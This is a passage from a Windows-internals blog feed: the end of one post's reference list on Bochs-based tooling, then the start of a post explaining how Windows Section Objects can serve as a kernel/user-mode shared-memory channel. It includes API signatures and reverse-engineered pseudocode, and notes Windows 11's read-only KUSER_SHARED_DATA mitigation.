&lt;p&gt;Until then see next time,
Cheers 🍻&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;p&gt;Here are the links to those giants referred in the title:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bochs-emu&amp;#x2F;Bochs&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;bochs-emu&amp;#x2F;Bochs&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yrp604&amp;#x2F;bochscpu&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;yrp604&amp;#x2F;bochscpu&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&amp;#x2F;wtf&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;0vercl0k&amp;#x2F;wtf&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&amp;#x2F;kdmp-parser&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;0vercl0k&amp;#x2F;kdmp-parser&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&amp;#x2F;udmp-parser&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;0vercl0k&amp;#x2F;udmp-parser&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;googleprojectzero&amp;#x2F;bochspwn&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;googleprojectzero&amp;#x2F;bochspwn&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;googleprojectzero&amp;#x2F;bochspwn-reloaded&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;googleprojectzero&amp;#x2F;bochspwn-reloaded&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Section Objects as Kernel&#x2F;User communication mode</title>
        <published>2023-04-04T00:00:00+00:00</published>
        <updated>2023-04-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2023-04-04-section-objects-kernel-user-communication-mode/"/>
        <id>https://blahcat.github.io/2023-04-04-section-objects-kernel-user-communication-mode/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2023-04-04-section-objects-kernel-user-communication-mode/">&lt;p&gt;I’ve recently decided to read cover to cover some Windows Internals books, and currently reading the amazing book &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.opening-windows.com&#x2F;wmip&#x2F;overview.htm&quot;&gt;“What Makes It Page”&lt;&#x2F;a&gt;, it gave me some ideas to play with &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;kernel&#x2F;section-objects-and-views&quot;&gt;Section Objects&lt;&#x2F;a&gt; as they covered in great details. One thought that occurred to me was that even though a section is created from user or kernel land, its mapping can be in user-mode as much as in kernel (when called from the kernel).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;windows-section-objects&quot;&gt;Windows Section Objects&lt;&#x2F;h2&gt;
&lt;p&gt;For quick reminder, a Section Object on Windows is a specific type of kernel object (of structure &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.vergiliusproject.com&#x2F;kernels&#x2F;x64&#x2F;Windows%2011&#x2F;22H2%20(2022%20Update)&#x2F;_SECTION&quot;&gt;&lt;code&gt;nt!SECTION&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;) that represents a block of memory that processes can share between themselves or between a process and the kernel. It can be mapped to the paging file (i.e. backed by memory) or to a file on disk, but either can be handled using the same set of API, and even though they are allocated by the Object Manager, it is one of the many jobs of the Memory Manager to handle their access (handle access, permission, mapping etc.). In usermode the high level API is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;winbase&#x2F;nf-winbase-createfilemappinga&quot;&gt;&lt;code&gt;kernel32!CreateFileMapping&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, which after some hoops into &lt;code&gt;kernelbase&lt;&#x2F;code&gt;, boils down to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;ddi&#x2F;ntifs&#x2F;nf-ntifs-ntcreatesection&quot;&gt;&lt;code&gt;ntdll!NtCreateSection&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;fc2d3446-f23b-43c9-8590-da132404c8ef.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;fc2d3446-f23b-43c9-8590-da132404c8ef.png&quot;

    

    
    title=&quot;createfilemappingw&quot;
    alt=&quot;createfilemappingw&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The signature is as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;NTSTATUS
&lt;&#x2F;span&gt;&lt;span&gt;NTAPI
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;NtCreateSection &lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    _Out_ PHANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ ACCESS_MASK &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DesiredAccess&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_opt_ POBJECT_ATTRIBUTES &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ObjectAttributes&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_opt_ PLARGE_INTEGER &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MaximumSize&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ ULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionPageProtection&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ ULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AllocationAttributes&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_opt_ HANDLE FileHandle
&lt;&#x2F;span&gt;&lt;span&gt;    );
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If successful, the syscall will return a section handle in &lt;code&gt;SectionHandle&lt;&#x2F;code&gt;, which will refer to an instance of a &lt;code&gt;nt!_SECTION&lt;&#x2F;code&gt;. Therefore the handle will be added to the handle table of the calling process, accessible from kernel and user modes unless &lt;code&gt;OBJ_KERNEL_HANDLE&lt;&#x2F;code&gt; is specified in the &lt;code&gt;ObjectAttributes&lt;&#x2F;code&gt;. This will be important for us in the following, because it implies that if the process terminates, so will the section object.&lt;&#x2F;p&gt;
&lt;p&gt;In itself the Section Object doesn’t have a lot going on, unless it is mapped to memory. This is achieved through &lt;code&gt;kernel32!MapViewOfView(Ex)&lt;&#x2F;code&gt; which again, boils down to the syscall &lt;code&gt;ntdll!NtMapViewOfSection&lt;&#x2F;code&gt;, whose signature is as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Syscall entry point
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;NTSTATUS
&lt;&#x2F;span&gt;&lt;span&gt;NTAPI
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;NtMapViewOfSection&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        HANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        HANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ProcessHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        PVOID *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BaseAddress&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        ULONG_PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZeroBits&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        SIZE_T &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CommitSize&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        PLARGE_INTEGER &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionOffset&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        PSIZE_T &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ViewSize&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        SECTION_INHERIT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;InheritDisposition&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        ULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AllocationType&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        ULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Win32Protect&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Reversing this function is relatively straight forward:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NT_SUCCESS&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MiValidateZeroBits&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;ZeroBits)) )
&lt;&#x2F;span&gt;&lt;span&gt;  {
&lt;&#x2F;span&gt;&lt;span&gt;    AccessMode = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KeGetCurrentThread&lt;&#x2F;span&gt;&lt;span&gt;()-&amp;gt;PreviousMode;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Internal function to the Memory Manager to map a view of a section
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    Status = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MiMapViewOfSectionCommon&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;               ProcessHandle,
&lt;&#x2F;span&gt;&lt;span&gt;               SectionHandle,
&lt;&#x2F;span&gt;&lt;span&gt;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;               BaseAddress,
&lt;&#x2F;span&gt;&lt;span&gt;               ViewSize,
&lt;&#x2F;span&gt;&lt;span&gt;               SectionOffset,
&lt;&#x2F;span&gt;&lt;span&gt;               Win32Protect,
&lt;&#x2F;span&gt;&lt;span&gt;               ZeroBits,
&lt;&#x2F;span&gt;&lt;span&gt;               AccessMode,
&lt;&#x2F;span&gt;&lt;span&gt;               &amp;amp;SectionParameter);
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which makes us jump to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;NTSTATUS  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;MiMapViewOfSectionCommon&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        HANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ProcessHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        HANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        ACCESS_MASK &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DesiredAccess&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        PVOID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BaseAddress&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ViewSize&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionOffset&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        uint32_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Win32Protect&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        uint8_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZeroBits&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        KPROCESSOR_MODE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AccessMode&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        SECTION_PARAMETER *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionParameter&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    [...]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;  Get a reference to the asking process
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    Status = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ObpReferenceObjectByHandleWithTag&lt;&#x2F;span&gt;&lt;span&gt;(ProcessHandle, (DesiredAccess + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;), ProcessType, AccessMode, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;MmVw&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;amp;SectionParameter-&amp;gt;ProcessObject, nullptr, nullptr);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(Status &amp;gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;        PSECTION* SectionObject = nullptr;
&lt;&#x2F;span&gt;&lt;span&gt;        pSectionObject = &amp;amp;SectionObject;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;  Get a reference to the section
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        Status = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ObReferenceObjectByHandle&lt;&#x2F;span&gt;&lt;span&gt;(SectionHandle, &amp;amp;MmMakeSectionAccess[((uint64_t)SectionParameter-&amp;gt;ProtectMaskForAccess)], MmSectionObjectType, AccessMode, pSectionObject, nullptr);
&lt;&#x2F;span&gt;&lt;span&gt;        SectionParameter-&amp;gt;SectionObject = SectionObject;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(Status &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ObfDereferenceObjectWithTag&lt;&#x2F;span&gt;&lt;span&gt;(SectionParameter-&amp;gt;ProcessObject, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;MmVw&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    [...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(AccessMode == KernelMode)
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;  In KM, do whatever
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        ViewSize_1 = ViewSize;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;        PVOID* pBaseAddress_1 = BaseAddress;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;  With a request coming from UM, validate the BaseAddress is within UM bounds
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(BaseAddress &amp;gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x7fffffff0000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        {
&lt;&#x2F;span&gt;&lt;span&gt;            pBaseAddress_1 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x7fffffff0000&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        *(int64_t*)pBaseAddress_1 = *(int64_t*)pBaseAddress_1;
&lt;&#x2F;span&gt;&lt;span&gt;        ViewSize_1 = ViewSize;
&lt;&#x2F;span&gt;&lt;span&gt;        uint64_t r8_2 = ViewSize_1;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(ViewSize_1 &amp;gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x7fffffff0000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        {
&lt;&#x2F;span&gt;&lt;span&gt;            r8_2 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x7fffffff0000&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        *(int64_t*)r8_2 = *(int64_t*)r8_2;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    SectionParameter-&amp;gt;BaseAddress = *(int64_t*)BaseAddress;
&lt;&#x2F;span&gt;&lt;span&gt;    SectionParameter-&amp;gt;ViewSize = *(int64_t*)ViewSize_1;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;What matters the most here would be the &lt;code&gt;BaseAddress&lt;&#x2F;code&gt; argument which will hold the UM address of the mapping. Meaning that Section Objects can be used to create communication channels between kernel &amp;lt;-&amp;gt; user mode (on top of obviously user &amp;lt;-&amp;gt; user). This is particularly nice especially because it allows to control finely the permission to the area: for instance a driver could create a section as read-writable, map its own view as RW, but expose to any process as RO. As a matter of fact, this is exactly how Windows 11 decided to protect the &lt;code&gt;(K)USER_SHARED_DATA&lt;&#x2F;code&gt; memory region, frequently used by kernel exploit since it’s read&#x2F;writable in ring-0 at a well-known address, making it a perfect way to bypass ALSR. The protection was added in 22H1 global variable which is initialized at boot-time and mapped as RW from the kernel through the &lt;code&gt;nt!MmWriteableUserSharedData&lt;&#x2F;code&gt;; however from user-mode only a read-only view is exposed to processes.  For complete details about that protection, I invite the reader to refer to Connor McGarr’s in-depth &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;connormcgarr.github.io&#x2F;kuser-shared-data-changes-win-11&#x2F;&quot;&gt;excellent blog post&lt;&#x2F;a&gt; on the subject.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-object-as-a-kernel-user-communication-vector&quot;&gt;Section Object as a Kernel&#x2F;User Communication Vector&lt;&#x2F;h2&gt;
&lt;p&gt;Purely coincidentally, a colleague of mine stumbled upon a problem where they wanted to be able to capture the user-mode context of a thread from a driver, through &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt;. The tricky part here was that &lt;code&gt;PsGetThreadContext()&lt;&#x2F;code&gt; follows the following signature:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;NTSTATUS
&lt;&#x2F;span&gt;&lt;span&gt;PSAPI
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;PsGetThreadContext&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    IN PETHREAD &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Thread&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    IN OUT PCONTEXT &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ThreadContext&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    IN KPROCESSOR_MODE PreviousMode
&lt;&#x2F;span&gt;&lt;span&gt;    );
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fengjixuchui&#x2F;ApiSetSchema&#x2F;blob&#x2F;7dd5f58c527df37212aa1a596057e79afa44af3d&#x2F;driver&#x2F;process.h#L138-L144&quot;&gt;Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Where &lt;code&gt;ThreadContext&lt;&#x2F;code&gt; is the linear address to write the thread &lt;code&gt;CONTEXT&lt;&#x2F;code&gt; passed as first argument. However, the 3rd argument, &lt;code&gt;PreviousMode&lt;&#x2F;code&gt; matters the most: if specified as &lt;code&gt;UserMode&lt;&#x2F;code&gt; (1), the function performs a check to make sure the &lt;code&gt;ThreadContext&lt;&#x2F;code&gt; linear address resides within the usermode address range. Since I really love turning theory into practice, I figured this would be a perfect practice case for the technique mentioned above, so I ended up writing a PoC driver to serve that purpose in a (IMHO) fairly nice way. This actually didn’t take long thanks to my &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; 